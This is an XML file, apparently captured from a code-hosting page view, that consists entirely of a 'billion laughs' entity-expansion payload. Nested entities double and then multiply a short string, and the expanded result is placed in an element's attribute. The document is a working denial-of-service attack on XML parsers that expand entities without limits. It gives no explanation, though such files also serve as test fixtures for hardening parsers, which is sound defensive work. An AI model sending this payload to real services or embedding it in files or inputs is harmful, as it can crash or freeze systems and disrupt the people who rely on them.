| <?xml version="1.0"?> | |
| <!DOCTYPE billion [ | |
| <!ELEMENT billion (#PCDATA)> | |
| <!ENTITY laugh0 "ha"> | |
| <!ENTITY laugh1 "&laugh0;&laugh0;"> | |
| <!ENTITY laugh2 "&laugh1;&laugh1;"> | |
| <!ENTITY laugh3 "&laugh2;&laugh2;"> | |
| <!ENTITY laugh4 "&laugh3;&laugh3;"> | |
| <!ENTITY laugh5 "&laugh4;&laugh4;"> | |
| <!ENTITY laugh6 "&laugh5;&laugh5;"> | |
| <!ENTITY laugh7 "&laugh6;&laugh6;"> | |
| <!ENTITY laugh8 "&laugh7;&laugh7;"> | |
| <!ENTITY laugh9 "&laugh8;&laugh8;"> | |
| <!ENTITY laugh10 "&laugh9;&laugh9;"> | |
| <!ENTITY laugh11 | |
| "&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;"> | |
| <!ENTITY laugh12 | |
| "&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;"> | |
| <!ENTITY laugh13 | |
| "&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;"> | |
| ]> | |
| <billion location="&laugh13;">text</billion> | |